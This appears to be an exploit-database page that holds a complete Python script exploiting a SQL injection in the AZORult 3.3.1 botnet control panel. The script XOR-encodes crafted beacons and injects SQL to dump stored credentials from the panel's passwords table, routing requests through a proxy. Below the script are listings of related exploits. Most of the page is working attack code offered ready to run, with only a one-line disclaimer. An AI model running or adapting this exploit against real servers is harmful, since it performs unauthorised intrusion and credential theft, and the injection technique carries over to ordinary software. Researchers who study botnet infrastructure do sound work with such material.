Menu

Search for hundreds of thousands of exploits

"AZORult Botnet - SQL Injection"

Author

prsecurity

Platform

php

Release date

2019-08-13

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
import requests
import argparse
import base64

# Azorult 3.3.1 C2 SQLi by prsecurity
# For research purposes only. Don't pwn what you don't own.
# change GUID and XOR key to specific beacon, can be extracted from a sample

guid = "353E77DF-928B-4941-A631-512662F0785A3061-4E40-BBC2-3A27F641D32B-54FF-44D7-85F3-D950F519F12F353E77DF-928B-4941-A631-512662F0785A3061-4E40-BBC2-3A27F641D32B-54FF-44D7-85F3-D950F519F12F"
key = "\x03\x55\xae"

def get_args():
	parser = argparse.ArgumentParser(
		prog="azorult_sploit.py",
		formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=50),
		epilog= '''
		This script will exploit the SQL vulnerability in Azorult 3.3.1 Dashboard.
		''')
	parser.add_argument("target", help="URL of index.php (ex: http://target.com/index.php)")
	parser.add_argument("-n", "--id_record", default="1", help="id of record to dump")
	parser.add_argument("-p", "--proxy", default="http://localhost:8080", help="Configure a proxy in the format http://127.0.0.1:8080/ (default = tor)")
	args = parser.parse_args()
	return args

def CB_XORm(data, key):
    j=0
    key = list(key)
    data = list(data)
    tmp = list()
    for i in range(len(data)):
        tmp.append(chr(ord(data[i])^ord(key[j])))
        j += 1
        if j > (len(key)-1):
            j = 0
    return "".join(tmp)

def pwn_target(target, num_records, proxy):
	requests.packages.urllib3.disable_warnings()
	proxies = {'http': proxy, 'https': proxy}
	
	try:
		r = requests.get("http://bot.whatismyipaddress.com", proxies=proxies)
		print("[*] Your IP: {}".format(r.text))
		headers = {
			"Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"
		}
		print('[+] Getting URL, LOGIN AND PASS')
		data = [
		    "|".join([
		        "1","2","3","4","5","6","7","8","9","10","11","12"
		    ]),
		    "\r\n".join([
		        "|".join(["1","2","3","4"," "*255+"'", ", (select version())), (111,(select * from (select concat({},0x3a,p_p2) from passwords limit {},1) dumb),333,4,5,6,7), (111,(select * from (select concat({},0x3a,p_p3) from passwords limit {},1) dumb),333,4,5,6,7) -- ".format(num_records, num_records,num_records, num_records)])
		    ]),
		    "c",
		    "d",
		    ":".join(["'11","22"])
		]
		payload = CB_XORm(guid.join(data), key)
		r = requests.post(target, data=payload, headers=headers, verify=False, proxies=proxies)
		if r.text != "OK":
			print("[-] ERROR: Something went wrong. Maybe Azorult version is not 3.3.1?")
			raise
		print('[+] Getting LOGIN/PASS')
		data = [
		    "|".join([
		        "1","2","3","4","5","6","7","8","9","10","11","12"
		    ]),
		    "\r\n".join([
		        "|".join(["1","2","3","4"," "*255+"'", ", (select version())), (111,(select * from (select concat({},0x3a,p_p1) from passwords limit {},1) dumb),333,4,5,6,7) -- ".format(num_records, num_records)])
		    ]),
		    "c",
		    "d",
		    ":".join(["'11","22"])
		]
		payload = CB_XORm(guid.join(data), key)
		r = requests.post(target, data=payload, headers=headers, verify=False, proxies=proxies)
		if r.text != "OK":
			print("[-] ERROR: Something went wrong. Maybe Azorult version is not 3.3.1?")
			raise
		print('[+] If this worked, you will see two new records in password table at guest.php')
	except:
		print("[-] ERROR: Something went wrong.")
		print(r.text)
		raise

def main():
	print ()
	print ('Azorult 3.3.1 SQLi by prsecurity')
	args = get_args()
	pwn_target(args.target.strip(), args.num_records.strip(), args.proxy.strip())


if __name__ == '__main__':
	main()
Release Date Title Type Platform Author
2019-08-20 "WordPress Add Mime Types Plugin 2.2.1 - Cross-Site Request Forgery" webapps php "Princy Edward"
2019-08-19 "YouPHPTube 7.2 - 'userCreate.json.php' SQL Injection" webapps php "Fabian Mosch"
2019-08-19 "Neo Billing 3.5 - Persistent Cross-Site Scripting" webapps php n1x_
2019-08-19 "Kimai 2 - Persistent Cross-Site Scripting" webapps php osamaalaa
2019-08-16 "Integria IMS 5.0.86 - Arbitrary File Upload" webapps php Greg.Priest
2019-08-16 "Joomla! component com_jsjobs 1.2.6 - Arbitrary File Deletion" webapps php qw3rTyTy
2019-08-16 "EyesOfNetwork 5.1 - Authenticated Remote Command Execution" webapps php "Nassim Asrir"
2019-08-14 "WordPress Plugin Download Manager 2.5 - Cross-Site Request Forgery" webapps php "Princy Edward"
2019-08-14 "Joomla! Component JS Jobs (com_jsjobs) 1.2.5 - 'customfields.php' SQL Injection" webapps php qw3rTyTy
2019-08-14 "SugarCRM Enterprise 9.0.0 - Cross-Site Scripting" webapps php "Ilca Lucian Florin"
2019-08-12 "Mitsubishi Electric smartRTU / INEA ME-RTU - Unauthenticated OS Command Injection Bind Shell" webapps php xerubus
2019-08-12 "Mitsubishi Electric smartRTU / INEA ME-RTU - Unauthenticated Configuration Download" webapps php xerubus
2019-08-14 "Agent Tesla Botnet - Arbitrary Code Execution (Metasploit)" remote php "Ege Balci"
2019-08-13 "AZORult Botnet - SQL Injection" remote php prsecurity
2019-08-13 "Agent Tesla Botnet - Arbitrary Code Execution" remote php prsecurity
2019-08-12 "Joomla! Component JS Jobs (com_jsjobs) 1.2.5 - 'cities.php' SQL Injection" webapps php qw3rTyTy
2019-08-12 "osTicket 1.12 - Persistent Cross-Site Scripting" webapps php "Aishwarya Iyer"
2019-08-12 "osTicket 1.12 - Formula Injection" webapps php "Aishwarya Iyer"
2019-08-12 "osTicket 1.12 - Persistent Cross-Site Scripting via File Upload" webapps php "Aishwarya Iyer"
2019-08-12 "Joomla! Component JS Support Ticket (com_jssupportticket) 1.1.6 - 'ticket.php' Arbitrary File Deletion" webapps php qw3rTyTy
2019-08-12 "Joomla! Component JS Support Ticket (com_jssupportticket) 1.1.6 - 'ticketreply.php' SQL Injection" webapps php qw3rTyTy
2019-08-12 "UNA 10.0.0 RC1 - 'polyglot.php' Persistent Cross-Site Scripting" webapps php Greg.Priest
2019-08-12 "BSI Advance Hotel Booking System 2.0 - 'booking_details.php Persistent Cross-Site Scripting" webapps php "Angelo Ruwantha"
2019-08-08 "Joomla! Component JS Support Ticket (component com_jssupportticket) 1.1.5 - SQL Injection" webapps php qw3rTyTy
2019-08-08 "Adive Framework 2.0.7 - Cross-Site Request Forgery" webapps php "Pablo Santiago"
2019-08-08 "Joomla! Component JS Support Ticket (component com_jssupportticket) 1.1.5 - Arbitrary File Download" webapps php qw3rTyTy
2019-08-08 "Daily Expense Manager 1.0 - Cross-Site Request Forgery (Delete Income)" webapps php "Mr Winst0n"
2019-08-08 "Open-School 3.0 / Community Edition 2.3 - Cross-Site Scripting" webapps php Greg.Priest
2019-08-08 "Baldr Botnet Panel - Arbitrary Code Execution (Metasploit)" remote php "Ege Balci"
2019-08-07 "WordPress Plugin JoomSport 3.3 - SQL Injection" webapps php "Pablo Santiago"
Release Date Title Type Platform Author
2019-08-13 "AZORult Botnet - SQL Injection" remote php prsecurity
2019-08-13 "Agent Tesla Botnet - Arbitrary Code Execution" remote php prsecurity
2019-08-05 "ARMBot Botnet - Arbitrary Code Execution" remote multiple prsecurity
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/47244/?format=json')
                        {"url": "https://www.nmmapper.com/api/exploitdetails/47244/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/47244/41616/azorult-botnet-sql-injection/download/", "exploit_id": "47244", "exploit_description": "\"AZORult Botnet - SQL Injection\"", "exploit_date": "2019-08-13", "exploit_author": "prsecurity", "exploit_type": "remote", "exploit_platform": "php", "exploit_port": null}
                    

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Browse exploit APIBrowse